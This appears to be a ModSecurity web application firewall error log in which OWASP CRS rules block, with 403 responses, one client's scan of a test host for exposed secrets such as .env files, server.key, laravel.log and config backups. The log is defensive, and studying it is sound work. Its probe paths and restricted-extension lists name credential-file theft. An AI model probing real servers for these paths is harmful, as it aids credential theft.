[Thu Feb 26 01:02:47.697630 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4HgAAAAY&quot;]
[Thu Feb 26 01:02:47.697855 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4HgAAAAY&quot;]
[Thu Feb 26 01:02:47.698019 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4HgAAAAY&quot;]
[Thu Feb 26 01:02:47.729520 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4HwAAAAY&quot;]
[Thu Feb 26 01:02:47.729911 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4HwAAAAY&quot;]
[Thu Feb 26 01:02:47.730166 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4HwAAAAY&quot;]
[Thu Feb 26 01:02:47.790285 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/app/private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/app/private/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk5wAAAAI&quot;]
[Thu Feb 26 01:02:47.790697 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/app/private/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk5wAAAAI&quot;]
[Thu Feb 26 01:02:47.790935 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/app/private/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk5wAAAAI&quot;]
[Thu Feb 26 01:02:47.832709 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk6AAAAAI&quot;]
[Thu Feb 26 01:02:47.833272 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk6AAAAAI&quot;]
[Thu Feb 26 01:02:47.833456 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk6AAAAAI&quot;]
[Thu Feb 26 01:02:47.868115 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/composer.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.lock found within REQUEST_FILENAME: /composer.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk6QAAAAI&quot;]
[Thu Feb 26 01:02:47.868452 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk6QAAAAI&quot;]
[Thu Feb 26 01:02:47.868660 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk6QAAAAI&quot;]
[Thu Feb 26 01:02:47.898643 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk6gAAAAI&quot;]
[Thu Feb 26 01:02:47.899190 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk6gAAAAI&quot;]
[Thu Feb 26 01:02:47.899359 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk6gAAAAI&quot;]
[Thu Feb 26 01:02:47.958908 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4JQAAAAY&quot;]
[Thu Feb 26 01:02:47.959173 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4JQAAAAY&quot;]
[Thu Feb 26 01:02:47.959334 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4JQAAAAY&quot;]
[Thu Feb 26 01:02:47.992677 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /conf/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4JgAAAAY&quot;]
[Thu Feb 26 01:02:47.992949 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4JgAAAAY&quot;]
[Thu Feb 26 01:02:47.993186 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4JgAAAAY&quot;]
[Thu Feb 26 01:02:47.994682 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php5.ini&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk7AAAAAI&quot;]
[Thu Feb 26 01:02:47.995190 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php5.ini&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk7AAAAAI&quot;]
[Thu Feb 26 01:02:47.995347 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php5.ini&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk7AAAAAI&quot;]
[Thu Feb 26 01:02:48.025420 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk7QAAAAI&quot;]
[Thu Feb 26 01:02:48.025951 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk7QAAAAI&quot;]
[Thu Feb 26 01:02:48.026118 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjk7QAAAAI&quot;]
[Thu Feb 26 01:02:48.036261 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cron/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id 